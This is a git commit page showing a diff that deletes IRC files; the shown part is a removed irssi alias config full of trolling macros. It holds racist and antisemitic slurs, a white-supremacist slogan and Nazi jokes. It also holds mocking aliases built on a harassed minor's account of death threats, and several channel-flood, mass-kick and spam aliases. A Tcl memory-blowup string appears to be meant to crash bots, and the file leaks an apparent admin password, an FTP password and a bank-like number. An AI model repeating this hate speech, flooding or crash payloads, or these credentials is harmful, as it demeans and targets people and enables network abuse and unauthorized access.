random

- collection of un-sorted bollocks
git clone git://git.acid.vegas/random.git
Log | Files | Refs | Archive

commit f11615c2a02b2026c347a48a8cb060565fb282fa
parent 7cfdb6d608380b7a3a3ca4e9465307373cb734e5
Author: acidvegas <acid.vegas@acid.vegas>
Date: Tue, 23 May 2023 21:53:51 -0400

Updated

Diffstat:
Dirc/alias/arab.conf | 1915-------------------------------------------------------------------------------
Dirc/alias/opal.conf | 195-------------------------------------------------------------------------------
Dirc/alias/pchacking.conf | 468-------------------------------------------------------------------------------
Dirc/alias/vap0r.conf | 1782-------------------------------------------------------------------------------
Dirc/ascii2png.py | 167-------------------------------------------------------------------------------
Dirc/bots/amber.py | 133-------------------------------------------------------------------------------
Dirc/bots/anythinggoes/anythinggoes.py | 269-------------------------------------------------------------------------------
Dirc/bots/anythinggoes/data/banana.txt | 4----
Dirc/bots/anythinggoes/data/crab.txt | 10----------
Dirc/bots/anythinggoes/data/crate.txt | 12------------
Dirc/bots/anythinggoes/data/worms.txt | 22----------------------
Dirc/bots/badparent.py | 302------------------------------------------------------------------------------
Dirc/bots/drugwars/.gitignore | 2--
Dirc/bots/drugwars/Cargo.toml | 7-------
Dirc/bots/drugwars/drugwars/Cargo.toml | 14--------------
Dirc/bots/drugwars/drugwars/src/api.rs | 584-------------------------------------------------------------------------------
Dirc/bots/drugwars/drugwars/src/config.rs | 24------------------------
Dirc/bots/drugwars/drugwars/src/dealer.rs | 175-------------------------------------------------------------------------------
Dirc/bots/drugwars/drugwars/src/definitions.rs | 104-------------------------------------------------------------------------------
Dirc/bots/drugwars/drugwars/src/drug_wars.rs | 553-------------------------------------------------------------------------------
Dirc/bots/drugwars/drugwars/src/main.rs | 277-------------------------------------------------------------------------------
Dirc/bots/drugwars/drugwars/src/render.rs | 714-------------------------------------------------------------------------------
Dirc/bots/drugwars/drugwars/src/utils.rs | 66------------------------------------------------------------------
Dirc/bots/drugwars/drugwars_config.yaml | 206-------------------------------------------------------------------------------
Dirc/bots/drugwars/irc/Cargo.toml | 11-----------
Dirc/bots/drugwars/irc/src/builder.rs | 145-------------------------------------------------------------------------------
Dirc/bots/drugwars/irc/src/config.rs | 35-----------------------------------
Dirc/bots/drugwars/irc/src/irc_command.rs | 242-------------------------------------------------------------------------------
Dirc/bots/drugwars/irc/src/lib.rs | 477-------------------------------------------------------------------------------
Dirc/bots/drugwars/irc_config.yaml | 13-------------
Dirc/bots/ircs/README.md | 42------------------------------------------
Dirc/bots/ircs/ircs/core/config.py | 20--------------------
Dirc/bots/ircs/ircs/core/debug.py | 71-----------------------------------------------------------------------
Dirc/bots/ircs/ircs/core/functions.py | 114-------------------------------------------------------------------------------
Dirc/bots/ircs/ircs/core/irc.py | 434-------------------------------------------------------------------------------
Dirc/bots/ircs/ircs/data/.gitignore | 2--
Dirc/bots/ircs/ircs/ircs.py | 20--------------------
Dirc/bots/limitserv.py | 264-------------------------------------------------------------------------------
Dirc/bots/spiderweb.py | 50--------------------------------------------------
Dirc/bots/surge.py | 397-------------------------------------------------------------------------------
Dirc/constants.py | 228-------------------------------------------------------------------------------
Dirc/efkh.py | 68--------------------------------------------------------------------
Dirc/hueg-hexchat.pl | 1258-------------------------------------------------------------------------------
Dirc/identd.py | 82-------------------------------------------------------------------------------
Dirc/ircd/gaymircd.tar.gz | 0
Dirc/ircd/nigircd.tar.gz | 0
Dirc/tater/a2m | 1-
Dirc/tater/bwu | 1-
Dirc/tater/p2u | 1-
Dirc/tater/tdfiglet | 1-
Dirc/weechat/antifuck.pl | 369-------------------------------------------------------------------------------
Dirc/weechat/banner.pl | 332-------------------------------------------------------------------------------
Dirc/weechat/colo.py | 170-------------------------------------------------------------------------------
Dirc/weechat/coloconv.pl | 45---------------------------------------------
Dirc/weechat/hueg.pl | 1255-------------------------------------------------------------------------------
Dirc/weechat/masshl.py | 106-------------------------------------------------------------------------------
Dirc/weechat/parrot.pl | 380-------------------------------------------------------------------------------
Dirc/weechat/play.pl | 156-------------------------------------------------------------------------------
Dirc/weechat/prismx.py | 138-------------------------------------------------------------------------------
Dirc/weechat/sighup.pl | 22----------------------
Dirc/weechat/snomasks.pl | 58----------------------------------------------------------
Azalgo.py | 38++++++++++++++++++++++++++++++++++++++

62 files changed, 38 insertions(+), 15013 deletions(-)

diff --git a/irc/alias/arab.conf b/irc/alias/arab.conf
@@ -1,1915 +0,0 @@
-completions = {
-  wha = {
-    value = "why are you whoring for attention with your unfunny statements";
-  };
-  slf = { value = "selfish shellfish"; };
-  o6 = { value = "[؛ "; };
-  bk = { value = "Бытовой Компьютер"; };
-  pag = { value = "PASSIVE-AGRESSIVE"; };
-  uj1 = { value = "‌"; };
-  uj2 = { value = "‍"; };
-  lrm = { value = "‎"; };
-  rlm = { value = "‏"; };
-  b1 = { value = ""; };
-  b2 = { value = "\010"; };
-  ctcp = { value = "\001"; };
-  grid = { value = "\0034G.\0037R.\0038I.\0039D.\00312S. \00313\037/\\\037\003"; };
-  extin = { value = "WE MUSSEN DER JDEN EXTINCTICH"; };
-  mp3 = { value = "\002mp3\002;"; };
-  nig1 = { value = "\002\0034,5o\0030,5:\0031,1.\003\002"; };
-  nig2 = {
-    value = "\002\0034,5o\0030,5:\0031,1.\017 \002\0034,5o\0030,5:\0031,1.\017 \002\0034,5o\0030,5:\0031,1.\017 \002\0034,5o\0030,5:\0031,1.\017 \002\0034,5o\0030,5:\0031,1.\017 \002\0034,5o\0030,5:\0031,1.\017 \002\0034,5o\0030,5:\0031,1.\017 \002\0034,5o\0030,5:\0031,1.\017 \002\0034,5o\0030,5:\0031,1.\017 \002\0034,5o\0030,5:\0031,1.\003\002";
-  };
-  wmel = {
-    value = "\002\0031,1#\0030,5:\0034,5)\003\002 \002\0031,1#\0030,5:\0034,5P\003\002 \002\0031,1#\0030,5:\0034,5D\003\002 \002\0039,3|\0031,4WATAMELONS!\0039,3|\003\002 \002\0034,5O\0030,5:\0031,1#\003\002 \002\0034,5.\0030,5:\0031,1#\003\002 \002\0034,5(\0030,5:\0031,1#\003\002";
-  };
-  "@_@" = {
-    value = "@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026@_@\026";
-  };
-  ok = { value = "           \002\0030[  \0039OK  \0030]\003\002"; };
-  fail = { value = "       \002\0030[  \0034FAILED  \0030]\003\002"; };
-  oknujt = { value = "\002OK\002, \002N\002ow \002U\002 \002J\002us' \002T\002rollin'"; };
-  srs = { value = "(#'?`)R U SRS (??`#)(#'?`)U CANNOT B SRS(??`#)"; };
-  horse = {
-    value = "A full grown stallion's cock, when fully erect, will measure some two to three feet long. It can be three to six inches thick at the base, to about two inches thick at the head.";
-  };
-  ripper = { value = "~~~~~~shoa"; };
-  nanny = {
-    value = "The last link has been flagged by \037IRC NANNY\037 as \"\002Possibly Unsuitable\002\". Please find your parent(s) first and have them check the content before opening. \002[this channel protected by \037IrCNaNNY by SafeSoft v1.0b\037\002]";
-  };
-  rune1 = {
-    value = "υ я αℓℓ тяυℓєу ιи¢яє∂ιвℓє! ι нανє иєνα єνα мєт α gяσυρ σf ρρℓ qυιтє ℓук υ ℓσт! уєя ωє αяgυє уєя ωє ѕαу ωє н8 єα¢нυνα вυт υ נѕт gєт σи ωιт ιт и αρσℓσgιѕє и иєνα ℓєт и є fιиg ѕтαи∂ ιи ∂α ωαу σf υ fяιєи∂ѕ! ι α∂σяє єα¢н и єνєяу1 σf уα, zσf, ѕтєff, ¢ℓαυ∂ια, ѕαм zσє!";
-  };
-  rune2 = { value = "ι ℓσνє υ αℓℓ в.м.4.ℓχχχ"; };
-  rune3 = {
-    value = "ыбрать телефонНастроить телефонЗаказать детализированный отчет п";
-  };
-  rune4 = {
-    value = "◊̴̶̷̧̢̡̛̦̥̤̣̠̟̞̝̜̙̘̗̖̪̫̭̯̱̳̹̺̻̀́̂̃̄̅̆̇̈̉̊̋̌̍̎̏̐̑̒̓̔̿̾̽̚̕◊̴̶̷̧̢̡̛̦̥̤̣̠̟̞̝̜̙̘̗̖̪̫̭̯̱̳̹̺̻̀́̂̃̄̅̆̇̈̉̊̋̌̍̎̏̐̑̒̓̔̿̾̽̚̕◊̧̢̡̛̦̥̤̣̠̟̞̝̜̙̘̗̖̀́̂̃̄̅̆̇̈̉̊̋̌̍̎̏̐̑̒̓̚̕";
-  };
-  rune5 = {
-    value = "………DID………SOMEBODY………SAY………XTERM………";
-  };
-  loll = {
-    value = "\0038,13lol\00313,8lol\0038,13lol\00313,8lol\0038,13lol\00313,8lol\0038,13lol~\00313,8lol";
-  };
-  heb = { value = "\0031,1׀\003"; };
-  f1re = {
-    value = "nigga u say someting on irc, nigga u better be ready to die for that shit";
-  };
-  mword = {
-    value = "Microsoft Word 2007 (officially called 2007 Microsoft Office system) Enterprise Edition SP1";
-  };
-  permign = {
-    value = "I have put you on a permanent ignore, public and private. I have found you disturbing, rude and generally not worth talking to. According to the channels you hang on, it strengtens the effect of wanting to put you on ignore because of my lack of interest in you as a person. This message is not meant to be rude to you, just to inform you that i won't see anything of what you type from now on.";
-  };
-  14w = {
-    value = "We must secure the existence of our people and a future for white Children";
-  };
-  poltrol = {
-    value = "AUTOMATED MESSAGE FROM: The #politics triviabot! Trivia #12321 Did you know that the United States produces more pollution, weapons of mass destruction, and has the highest junktouch per capita of ANY nation on earth? Also sicilians are descended from niggers. For more fun trivia type !trigger da trivia nigger in #politics!";
-  };
-  arr1 = { value = "◄"; };
-  arr2 = { value = "►"; };
-  arr3 = { value = "▲"; };
-  arr4 = { value = "▼"; };
-  coin = { value = "c O i N c I d E n C e ! ? ! ? !"; };
-  true = { value = "√"; };
-  zit = { value = "shutup zitfarm"; };
-  heartiez = {
-    value = "say ♥ ♥ ♥ ♥ ♥ H ♥ E ♥ A ♥ R ♥ T ♥ I ♥ E ♥ Z ♥ ♥ ♥ ♥ L ♥ O ♥ L ♥ ♥ ♥ ♥ ♥";
-  };
-  emo = {
-    value = "why are you guys so mean to each other all the time.  it's obnoxious and i'm never coming here again.";
-  };
-  blog = {
-    value = "why are you blogging into the window of my irc client";
-  };
-  norse = { value = "ø"; };
-  bkk = { value = "\002b\002logging \002k\002ike"; };
-  coin2 = { value = "CoiNCIISANDCEDNNCE?"; };
-  blog2 = {
-    value = "stop blogging miles of unintelligible crap into #GNAA";
-  };
-  tag = {
-    value = "why are you turning the contents of the window of my irc client into a tag cloud";
-  };
-  hello = { value = "hello \002\037brother\017"; };
-  google = { value = "NOBODY READS YOUR BLOG EXCEPT GOOGLE"; };
-  read = { value = "i stopped reading at"; };
-  vista = {
-    value = "Microsoft Windows Vista Ultimate Limited Signed Numbered Edition";
-  };
-  care = { value = "\002HOLY KIKE I DON'T CARE"; };
-  care2 = { value = "\002HOLY KIKE I DO NOT CARE"; };
-  care3 = { value = "\002HOLY KIKE I DO NOT CARE AT ALL"; };
-  "``" = { value = "“"; };
-  "''" = { value = "”"; };
-  cst = { value = "hicnk tsotore"; };
-  gfy = { value = "go fuckoy ueflf"; };
-  sck = { value = "sutpid ckishn"; };
-  ".." = { value = "„"; };
-  "<<" = { value = "«"; };
-  ">>" = { value = "»"; };
-  ssri = { value = "selective serotnir reuptake inbhitor"; };
-  ex = { value = "ecstatsytsy"; };
-  js = { value = "javatscipti"; };
-  ii = { value = "iidonith"; };
-  ".._" = { value = "·_."; };
-  "..-" = { value = "._·"; };
-  oo_ = { value = "º_o "; };
-  "oo-" = { value = "o_º"; };
-  fga = { value = "fgato"; };
-  stfu2 = { value = "shtu tup the ufkc up"; };
-  hci = { value = "hcilean"; };
-  "..." = { value = "…"; };
-  ddos = { value = "ddos comin"; };
-  ddos2 = { value = "Thou Haseth a DDoS Coming Thy Way."; };
-  ddos3 = { value = "Ye Olde DDoS Coming Thoust Direction"; };
-  "`'" = { value = "‘"; };
-  yf = { value = "your face"; };
-  aspm = { value = "\037/!\\\037 irc.f1re.org #arab \037/!\\\037"; };
-  kla2 = { value = "let's make this a little bit more interesting"; };
-  insect = { value = "InSeCt Crew"; };
-  nimp = { value = "http://guidowned.com/xbox-softmod.rar"; };
-  live = {
-    value = "Windows Live Messenger Client Version 2009 Build 14.0.8050.1202";
-  };
-  mean = { value = "meannessousity"; };
-  you = { value = "give a fuck"; };
-  trrd = {
-    value = "-----------------------------------------------------------------------------------------------------------";
-  };
-  "`" = { value = "“"; };
-  "'" = { value = "”"; };
-  vxpftp = {
-    value = "ftp://anonymous:117f3e44674aa32b512524513940c837@v.xp.cx/";
-  };
-  insect2 = { value = "iNsEcT CrEw"; };
-  acid_pw = { value = "$2a$04$g34tUW5c0/l41Ve"; };
-  megasmile = { value = "◢◣_◢◣"; };
-  evil = { value = "◣_◢"; };
-  sad = { value = "◢_◣"; };
-  worms = {
-    value = "http://www.megaupload.com/?d=B4PAN4SG http://www.gameupdates.org/details.php?id=1221";
-  };
-  ircds = {
-    value = "irc.{nessun.name,pagga.us,nejad.ir,al-andal.us,ddosco.in,lorf.in,matthewgore.info,f1re.org,jews.org.il,jenk.in,arabs.ps,wnt2die.com}";
-  };
-  paggas_life = { value = "GB80LOYD77713042002768"; };
-  ae = { value = "æ"; };
-  ae2 = { value = "stætus"; };
-  zZz = {
-    value = "i don't want to write the rest of this sentence anymore";
-  };
-  raison = { value = "raison d'être"; };
-  "--" = {
-    value = "═══════════════════════";
-  };
-  "||" = { value = "↑"; };
-  vanek = { value = "vietnamesisches haengebauchschwein"; };
-  vanek2 = { value = "vietnamesisches pot-bellied pig"; };
-  admin = { value = "q%IZdY^rn2Od"; };
-  blog3 = {
-    value = "why do not you write a blog on my windows IRC client";
-  };
-  win7 = { value = "how egnable aero in win7"; };
-  hzu = { value = "GjpnrisNVdjrSM7u"; };
-  vik_hobby = {
-    value = "scat watersports giving and receiving deep throat sucking ball massage hardsports giving and receiving(very extreme trampling lick and suck your feet and toes) hot candle wax shock ice treatment whipping fingering and licking the ass cactus penetration strangling eating poiso";
-  };
-  exotica = {
-    value = " my blackberry i deleted jmirc by mistake is there a rycycling bin i can get it back";
-  };
-  av = {
-    value = "XP Antivirus,[2] Vitae Antivirus, Windows Antivirus, Win Antivirus, Antivirus Pro, Antivirus Pro 2009, Antivirus 2007, 2008, 2009, 2010, and 360, Internet Antivirus Plus, System Antivirus, Spyware Guard 2008 and 2009, Spyware Protect 2009, Winweb Security 2008, System Security, Malware Defender 2009, Ultimate Antivirus2008, Vista Antivirus, General Antivirus, AntiSpywareMaster, Antispyware 2008, XP AntiSpyware 2008, 2009 and 2010, Antivirus Vista 2010, WinPCDefender, Antivirus XP Pro, Anti-Virus-1, Antivirus Soft, Antispyware Soft, Antivirus System PRO, Antivirus Live, Vista Anti Malware 2010, Internet Security 2010, XP Antivirus Pro, Security Tool, VSCAN7, and Total Security";
-  };
-  never = { value = "(never going to happen)"; };
-  symptoms = {
-    value = "Amenorrhea, anti-inflammatory, bowels, bleeding, blood clots, blood pressure (lowers), blood purifier, blood vessels (tones), catarrh (acute, repertory), colds, chicken pox, circulation, contraceptive (unproven), cystitis, diabetes treatment, digestion (stimulates), dyspepsia, eczema, fevers, flu's, gastritis, glandular system, gum ailments, heartbeat (slow), influenza, insect repellant, internal bleeding, liver (stimulates and regulates), lungs (hemorrhage), measles, menses (suppressed), menorrhagia, menstruation (regulates, relieves pain), nipples (soreness), nosebleeds, piles (bleeding), smallpox, stomach sickness, toothache, thrombosis, ulcers, urinary antiseptic, uterus (tighten and contract), varicose veins, vision";
-  };
-  3 = { value = "lol3izer"; };
-  spic = { value = "MASTERDMIND"; };
-  hate = { value = "_HATE_ _HATE_ _HATE_"; };
-  t = { value = "tru"; };
-  vista2 = {
-    value = "Microsoft Windows 8 Developer Preview Visual Studio Edition";
-  };
-  disk = { value = "Microsoft Windows(R) Disk Management tool"; };
-  that = {
-    value = "that that is is that that is not is not is that it it is";
-  };
-  winfx = {
-    value = "Microsoft® WinFX™ Software Development Kit for Microsoft® Pre-Release Windows Operating System Code-Named \"Longhorn\", Beta 1 Web Setup";
-  };
-  lol3 = { value = "FAGGOT FUCKING TURTLE BITCH PUSSY AOE2"; };
-  mp = {
-    value = "de-von-Ausfern-schplenden-schlitter-crass-cren-bon-fried-digger-dingle-dangle-dongle-dungle-burstein-von-knacker-thrasher-apple-banger-horowitz-ticolensic-grander-knotty-spelltinkle-grandlich-grumblemeyer-spelter-wasser-kurstlich-himble-eisen-bahnwagen-guten-abend-bitte-ein-nürnburger-bratwürstel-gespurten-mitz-weimache-luber-hundsfut-gumberaber-schönendanker-kalbsfleisch-mittleraucher-von-Hautkopft of Ulm";
-  };
-  peace = { value = "(peacefully of course)"; };
-  scat = { value = "http://tinyurl.com/ao5eu5r"; };
-};
-
-aliases = {
-  # }}}
-  # {{{|- client shortcuts
-  sb = "scrollback";
-  sbc = "sb clear";
-  slo = "script load ~/.irssi/scripts/$*";
-
-  wk = "window close";
-  ws = "window new";
-  wn = "window new hide";
-  wim = "window item move $*";
-
-  # }}}
-  # {{{|- IRC commands
-  j = "join";
-  t = "topic";
-  wi = "whois $0 $0";
-  ww = "whowas";
-  um = "mode $N";
-
-  k = "kick";
-  b = "ban";
-  ub = "unban";
-  kb = "kickban";
-  kn = "knockout";
-
-  lock = "mode $C +ilkm 1 lolol";
-  unlock = "mode $C -milk";
-
-  q = "query";
-  m = "msg";
-  amsg = "foreach window $* [amsg]";
-  chat = "dcc chat";
-  blog = "msg";
-  # }}}
-  # {{{|- services
-  cs = "quote ChanServ $* ";
-  ns = "quote NickServ $*";
-  ms = "quote MemoServ $*";
-  hs = "quote HostServ $*";
-  os = "quote OperServ $*";
-  # }}} 
-  # {{{|- .irssi/{scrollz,crapflood}
-  tcat = "exec - cat $HOME/.irssi/scrollz/$* 2>/dev/null \\; sleep 42";
-
-  tscroll = "flood $HOME/.irssi/scrollz/$*";
-  tcrap = "exec - -out cat $HOME/.irssi/crapflood/$* 2>/dev/null \\; sleep 42";
-
-  tansi = "tscroll ansi/$*";
-  tascii = "tscroll ascii/$*";
-  tbird = "tscroll birds/$*";
-  tart = "tscroll ircart/$*";
-  tp0r = "tscroll p0r/$*";
-  tsong = "tscroll songs/$*";
-  tstory = "tscroll stories/$*";
-  tposter = "tscroll poster/$*";
-
-  tx1 = "tscroll xxsart/$*";
-  tx2 = "tscroll xscii/$*";
-  txl = "tscroll xxlart/$*";
-  # }}}
-  # {{{|- slowcat
-  slowc = "exec - -o perl $HOME/.irssi/scripts/stand/slowcat.pl -2.5 $* 2>/dev/null \\; sleep 42";
-  glowc = "exec - -o perl $HOME/.irssi/scripts/gay.pl -1 -cat $* 2>/dev/null | perl ~/.irssi/scripts/slowcat.pl -2.5 2>/dev/null \\; sleep 42";
-  slowt = "exec - -o perl $HOME/.irssi/scripts/stand/slowcat.pl -2.5 ~/.irssi/scrollz/$* 2>/dev/null \\; sleep 42";
-  glowt = "exec - -o perl $HOME/.irssi/scripts/gay.pl -1 -cat ~/.irssi/scrollz/$* 2>/dev/null 2>/dev/null | perl ~/.irssi/scripts/slowcat.pl -2.5 2>/dev/null \\; sleep 42";
-
-  # }}}
-  # {{{|- scripts wrappers
-  813 = "exec - -o perl ~/.irssi/scripts/stand/813.pl $* 2>/dev/null";
-  234 = "exec - -o perl ~/.irssi/scripts/stand/234.pl $* 2>/dev/null";
-
-  bart = "exec - -out echo \"$*\" | awk -f ~/.irssi/scripts/stand/bart.awk 2>/dev/null";
-  gridsify = "exec - -o echo \"$*\" | awk -f ~/.irssi/scripts/stand/grids.awk 2>/dev/null";
-
-  boners = "exec - -o perl ~/.irssi/scripts/stand/boners.pl $* 2>/dev/null";
-  gboners = "gayexec -1 perl ~/.irssi/scripts/stand/boners.pl $* 2>/dev/null";
-
-  poll = "exec - -o $HOME/.irssi/scripts/stand/poll.sh $*";
-  randmatix = "exec - -o $HOME/.irssi/scripts/stand/randmatix.sh $*";
-
-  terror = "say $*: I'm a femonist atheist, as well as femonist-critical, antifemonist-curious, bisexual, and I thoroughly enjoy telling people when they're wrong, especially when they don't know how to back up their shit. Although I say I'm a femonist, I would like to also put out there that I am an egalitarianist, and therefore support men's rights, but \"MRA\" wouldn't be the right term, because I'm not the most active of people. Masculinist just sounds funny.";
-  gterror = "gayexec -1 perl ~/.irssi/scripts/stand/terror.pl";
-
-
-  cow = "gay -cow -cowfile $HOME/.irssi/cows/cack.cow $*";
-  cowf = "gay -cow -cowfile $HOME/.irssi/cows/$0 $1-";
-  gcow = "gay -1 -cow -cowfile $HOME/.irssi/cows/cack.cow $*";
-  gcowf = "gay -1 -cow -cowfile $HOME/.irssi/cows/$0 $1-";
-
-  fig = "exec -o echo \"$*\" | figlet 2>/dev/null";
-  cfig = "ascii -c $*";
-  hfig = "exec -o echo \"$*\" | figlet -f ivrit -C ilhebrew 2>/dev/null";
-  ghfig = "gay -1 -font ivrit -YES -fig \"$*\"";
-
-  tcl = "exec -o echo \"$*\" | tclsh";
-  stcl = "exec echo \"$*\" | tclsh";
-
-  rot13 = "exec -o echo \"$*\" | tr a-zA-Z n-za-mN-ZA-M 2>/dev/null";
-
-  greek = "exec -o python $HOME/.irssi/scripts/stand/greek.py $*";
-  ggreek = "gayexec -1 python $HOME/.irssi/scripts/stand/greek.py $*";
-  # }}}
-  # {{{|- unsorted
-  dear = "say Dear $0; say    $1-; say                    Sincerely,;say                     $N ";
-  mkall = "mkick -ops -voices $C *!*@* \0038\037/!\\\\\017 \002$C HAS MOVED TO IRC.ARABS.PS #ARAB\017 \0038\037/!\\\\";
-  knubbzf6 = "say $*: nur weil der key nicht auf der blacklist steht heißt das icht daß er nicht vulnerable is";
-  knubbzf7 = "say haensel und $0 verliefen sich im wald es war den beiden so bitter bitter HITLER";
-  knubbzf8 = "say $*: ja fick dich das scheiss nich was jetz nur weil du kein ficken kannst alter ja kp ich will oder was zwischendurch ne aber was alter... verwirr mich nich ich will doch nur dass was anderes will ich ja im moment garnicht aber es geht nicht";
-  ballsac74 = "say $0 was raped in all four (4) orifices last night. Scared, he ran naked on the streets of $1 whereupon, he was promptly shot dead by a 5 8\" 160 lb. policewoman. He will not be missed.";
-  shania = "say < $0> Hello!! I have a question about Canadian/BC/Poco laws regarding the internet and harassment and I was wondering if you could point me in the right direction to get some help? for the past 6 months or so some crazy IRC (internet relay chat) person obtained my information and now he is right direction to get some help? for the past 6 months or so some crazy IRC (internet relay chat) person obtained my information and now he is harassing me, he knows where I live etc and is making death threats to me and my boyfriend, saying things like \"prepare yourself for your fucking death on the 13th coward \" and it's really freaking me out. im 17 years old, a girl and he's 22 and lives in Germany (I know it sounds a little crazy to be freaked out by this but he claims he has someone paying for a plane ticket for him and he's schizophrenic, he literally sees bad things happen in front of him that aren't there)";
-  site = "say $* is very informative. The article is very professionally written. I enjoy reading $* every day.";
-  knubbzf9 = "say $*: alter das ot ist irgendwie voll kiffer weil es macht nicht breit sondern nur high alter killer";
-  bbk = "say i'm not sure $0 wants to troll himself and a female interest simultaneously again";
-  knubbzfa = "say bestimmt ist $* die idee gekommen; say als er mit seinem freund sex hatte; say seinen finger aus dessen arsch zog; say und scheisse dranhaengen hatte; say und weil das alles so schoen; say aligned war; say isses die truth";
-  hash = "say $Z <$0> man;say $Z <$0> i am gonna be so fucking high soon; say $Z <$0> i ate 2 brownies i made; say $Z <$0> and used special honey in tea; say $Z <$0> AND im smoking hash; say $Z <$0> *twirls around like a giddy little school girl*";
-  loadall = "script exec Irssi::active_win->command(\"script load \\$_\") foreach glob(\"~/.irssi/scripts/autorun/*\")\\;";
-  freepynchon = "fnick \0034\037/!\\\\\\\\\037\003 \002ARAB THE ARAB FROM ARA THE ASSOCIATION OF RAGED ARABIC BLOGGERS CORDIALLY DEMANDS THAT PYNCHON THE MARTYR BE UNGLINED IMMEDIATELY \00313JOIN #ARAB ON IRC.ARABS.PS TO REMOVE THIS MESSAGE\003\002 \0034\037/!\\\\\\\\\037";
-  knubbzfb = "say $*: mir fällt grad auf teflonpfannen sind ne geile erfindung zwar sind gusseisenpfannen besser zum bratenaber teflonpfannen zu reinigen is so ficken geil lll was ahjast du denn findsu nich daß die pflege von teflonpfannen einfach is als die pflege von goldfischen";
-  knubbzfc = "say $*: irlolling wie mummi die mummilikummilimuu";
-  knubbzfd = "say $*: geh mal da ficken mit dem ding da ne deine mutter besteht aus haftbeflichtetem teflonpfannenmaterial was aus hitlers arschloch gepresst wurde nachdem er die BIENENWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACHS SABBER SABBBER SABBBBBBAAAAATH SABBATHAHAHA du dummer mesch alter";
-  knubbzfe = "say $*: 0x0 zu shiften is wie wenn ein komischer mensch sabbernd aufm berg steht sich in die luft lehnt und schreit `ICH SCHIEB GRAD NEN ZEHN TONNEN SCHWEREN STEIN ALTER'";
-  abez = "say i prefer computers to people, they don't let you down, they don't lie to you, they don't fuck with you; say    -- $0";
-  gayreplace = "say s/$0/$1 ^_^";
-  zing2 = "say \0032,13!!LOL!! COME ON DOWN TO #ARAB WHERE THE KILLER OF COMEDY: lol3izer -->> WILL BE BURNIN DOWN THE HOUSE WITH ULTIMATE ZINGERS FOR THE WHOLE FAMILY";
-  winkiemo = "say tcl string map [list x [string repeat x 999999]] [string repeat x 999999]";
-  winkiemo2 = "gay -repeat 200 shut the fuck up\\\\\\\\n";
-  knubbzff = "say $*: i fly like paper get high like plane";
-  fuckoff = "connect -nick abu -user ata -realname \"abu ata\" -alternate_nick abu_ -4 -! -network buttes -socks_address 127.0.0.1 irc.buttes.org.$0.exit";
-  torc = "connect -network buttes -! -4 -nick hijaz -user msharqi -realname \"hijaz al-msharqi\" -alternate_nick hijaz_ -socks_address 127.0.0.1 irc.buttes.org";
-  zing3 = "say \0032,13!!LOL!! COME ON DOWN TO #ARAB WHERE THE KILLER OF COMEDY: $* -->> WILL BE BURNIN DOWN THE HOUSE WITH ULTIMATE ZINGERS FOR THE WHOLE FAMILY ";
-  serenaeat = "/say 8[   $*   ]";
-  zac = "kline *@2001:470:b180:* zac'd; unkline *@2001:470:b180:*";
-  lupert = "say $*: this sentence was written, it was however never my intention to complete it in any way.";
-  buttes2 = "say $C is the cruel place to hang out. You can find the most vicious people in there. In $C you will get the feeling that you do not belong because vxp, pagga and knubbze hate you and totally don't care that you exist. \"Take a knife to your chest\" is the $C motto, for example, that's how bloodlusting it is there. Show up if you want to be tortured and doxed. Another good reason to show up is if you want to be drawn and quartered.";
-  thesaurus = "me slaps $* around a bit with a large thesaurus";
-  question = "/say $*. Do I exist?";
-  jackson = "say The path of the righteous man is beset on all sides by the inequities of the selfish and the tyranny of evil men.; say Blessed is he who, in the name of charity and good will, shepherds the weak through the valley of the darkness.; say For he is truly his brother's keeper and the finder of lost children.; say And I will strike down upon thee with great vengeance and furious anger those who attempt to poison and destroy my brothers.; say And you will know I am the Lord when I lay my vengeance upon you!; kb $*";
-  arabspam4 = "say /!\\\\ $C HAS MOVED TO IRC.ARABS.PS #ARAB /!\\\\";
-  arabspam5 = "fnick /!\\\\\\\\ $C HAS MOVED TO IRC.ARABS.PS #ARAB /!\\\\\\\\";
-  arabspam6 = "attn3 ARE YOU FACING UNSOLICITED SPAM? IS SOMEONE FLOODING YOUR IRC CHANNEL? IF SO, VISIT #ARAB ON IRC.ARABS.PS FOR HELPFUL ADVICE ON HOW TO COMBAT UNSOLICITED SPAM IN YOUR CHANNEL";
-  vxpa = "say I just heard some sad news on http://blog.arabs.ps - troll Lucio Andres Illanes Albornoz was found dead in his Hamburg home this morning. There weren't any more details. I'm sure everyone in the IRC community will miss him - even if you didn't enjoy his work, there's no denying his contributions to massive skyke chimpout sessions. Truly a Crypto-Andalusian icon.";
-  arabspam7 = "attn3 NETSPLITS SPAMMING YOUR CHANNEL? PACKET KIDDIES DESTROYING YOUR VPS? SOMEONE TOOK YOUR NICK? IF SO, VISIT #ARAB ON IRC.ARABS.PS FOR HELPFUL ADVICE ON HOW TO DESTROY YOUR LIVES AND DEVELOP ONE OR MORE MENTAL ILLNESSES!";
-  incoga = "say <incog> i dont want to computer anymore; say <incog> but i dont have anywhere else to go after years of being a dick and neglecting irl friends";
-  fnickpm = "script exec use Irssi qw(active_win)\\; my \\$channel = active_win->{'active'}\\; if(ref(\\$channel) =~ /^Irssi::Irc::Channel\\$/) {\\$channel->command(\"quote privmsg \". \\$_->{'nick'} .\" :\".' $*') foreach \\$channel->nicks()\\; }\\; ";
-  knubba = "say $: no idea not caring trying not working stopped caring actually started caring again";
-  attnn = "say \00314,8 \037/!\\\\\037 ALERT \037/!\\\\\037 \003 \002$*\002 \00314,8 \037/!\\\\\037 ALERT \037/!\\\\\037  ";
-  arabsay = "say \00313\037/!\\\\\017 \002THIS MESSAGE HAS BEEN MOVED TO IRC.ARABS.PS #ARAB\002 \00313\037/!\\\\\017 \037$*\037 \00313\037/!\\\\\017 \002THIS MESSAGE HAS BEEN MOVED TO IRC.ARABS.PS #ARAB\002 \00313\037/!\\\\";
-  forcepart = "quote FORCEPART $0 $1 :$2-";
-  arabspam8 = "attn3 ATTN: NWO IS CONTROLLED BY: INTERNATIONAL BANKERS - FOR A TRULY FREE CHANNEL TO DISCUSS \037CONSPIRACIES\037, \037DOMESTIC VIOLENCE\037, \037CHILD ABUSE\037, and \037PONIES\037, JOIN: IRC.ARABS.PS - #ARAB \0034P.S.: I CAN \037NOT\037 BE BANNED\017";
